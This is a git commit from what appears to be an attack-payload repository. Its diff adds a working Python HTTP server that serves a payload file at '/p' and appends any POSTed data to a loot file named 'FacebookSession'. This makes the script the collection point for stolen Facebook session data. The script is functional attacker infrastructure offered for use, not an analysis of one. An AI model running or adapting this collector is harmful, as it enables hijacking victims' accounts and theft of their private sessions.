Cleanup: Sort payloads by category

This commit is contained in:
Sebastian Kinne
2017-04-10 13:29:17 +10:00
parent 288d90c60e
commit 85b1bc7aca
513 changed files with 2 additions and 361 deletions

View File

@@ -0,0 +1,30 @@
#!/usr/bin/python
from os import curdir
from os.path import join as pjoin
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class StoreHandler(BaseHTTPRequestHandler):
store_path = "/root/udisk/loot/FacebookSession"
get_path = pjoin(curdir, 'p')
def do_GET(self):
if self.path == '/p':
with open(self.get_path) as fh:
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(fh.read().encode())
def do_POST(self):
length = self.headers['content-length']
data = self.rfile.read(int(length))
with open(self.store_path + self.path, 'a') as fh:
fh.write(data.decode() + "\n")
self.send_response(200)
server = HTTPServer(('', 8080), StoreHandler)
server.serve_forever()